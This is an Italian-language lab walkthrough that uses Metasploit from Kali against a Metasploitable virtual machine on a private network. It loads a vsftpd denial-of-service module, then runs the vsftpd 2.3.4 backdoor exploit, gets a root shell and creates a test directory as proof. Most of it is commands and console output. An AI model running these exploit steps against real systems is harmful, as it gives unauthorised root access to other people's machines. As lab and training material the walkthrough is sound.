Hacking con Metasploit

```
nsfadmin@metasploitable:~$ sudo restart networking
sudo: restart: command not found
nsfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:00:20:21
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe00:2021/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:169 errors:0 dropped:0 overruns:0 frame:0
          TX packets:87 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:13166 (12.8 KB)  TX bytes:9891 (9.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:117 errors:0 dropped:0 overruns:0 frame:0
          TX packets:117 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:31749 (31.0 KB)  TX bytes:31749 (31.0 KB)

nsfadmin@metasploitable:~$
nsfadmin@metasploitable:~$
nsfadmin@metasploitable:~$
```

Cambiamo l'ip alla nostra macchina Metasploitable in 192.168.1.149

Apriamo la nostra macchina kali e utilizziamo Metasploit con il comando msfconsole.

```
msfconsole
etasploit tip: Search can apply complex filters such as search cve:2009
ype:exploit, see all the filters with help search

                    3Kom SuperHack II Logon

                User Name:          [   security    ]
                Password:           [               ]
                                    [ OK ]
                                                    https://metasploit.com

      =[ metasploit v6.4.18-dev                          ]
-- --=[ 2437 exploits - 1255 auxiliary - 429 post        ]
-- --=[ 1471 payloads - 47 encoders - 11 nops            ]
-- --=[ 9 evasion                                       ]

etasploit Documentation: https://docs.metasploit.com/

sf6 >
```

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Ex
ecution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
msf6 auxiliary(dos/ftp/vsftpd_232) > show options

Module options (auxiliary/dos/ftp/vsftpd_232):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                           sploit/basics/using-metasploit.html
   RPORT    21                   yes       The target port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/ftp/vsftpd_232) >
```

Con il comando search vsftpd creiamo una connessione con la porta FTP

Settiamo l Host con il comando set rhosts 192.168.1.149

```
msf6 auxiliary(dos/ftp/vsftpd_232) > show options

Module options (auxiliary/dos/ftp/vsftpd_232):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                           sploit/basics/using-metasploit.html
   RPORT    21                   yes       The target port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/ftp/vsftpd_232) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 auxiliary(dos/ftp/vsftpd_232) > show options

Module options (auxiliary/dos/ftp/vsftpd_232):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS   192.168.1.149        yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                           sploit/basics/using-metasploit.html
   RPORT    21                   yes       The target port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/ftp/vsftpd_232) > exploit
```

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.13:46095 -> 192.168.1.149:6200) at 2024-11-11 14:31:21 +0100
```

utilizziamo il comando exploit per attaccare il nostra porta

Con il comando if config possiamo vedere che l'esploit ha avuto successo e siamo all'interno della nostra macchina Metasploitable.
Ora creiamo una cartella con il comando mkdir /test_metasploit.

```
[*] Command shell session 2 opened (192.168.1.13:46683 -> 192.168.1.149:6200) at 2024-11-11 14:34:01 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:00:20:21
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe00:2021/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2819 errors:0 dropped:0 overruns:0 frame:0
          TX packets:296 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:189664 (185.2 KB)  TX bytes:31675 (30.9 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:679 errors:0 dropped:0 overruns:0 frame:0
          TX packets:679 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:313065 (305.7 KB)  TX bytes:313065 (305.7 KB)

mkdir /test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
```

```
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ cd
msfadmin@metasploitable:~$ cd
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ sudo cd
[sudo] password for msfadmin:
sudo: cd: command not found
msfadmin@metasploitable:~$ cd/
-bash: cd/: No such file or directory
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ pwd
/
msfadmin@metasploitable:/$ ls
bin    dev   initrd      lost+found  nohup.out  root  sys             usr
boot   etc   initrd.img  media       opt        sbin  test_metasploit  var
cdrom  home  lib         mnt         proc       srv   tmp             vmlinuz
msfadmin@metasploitable:/$
```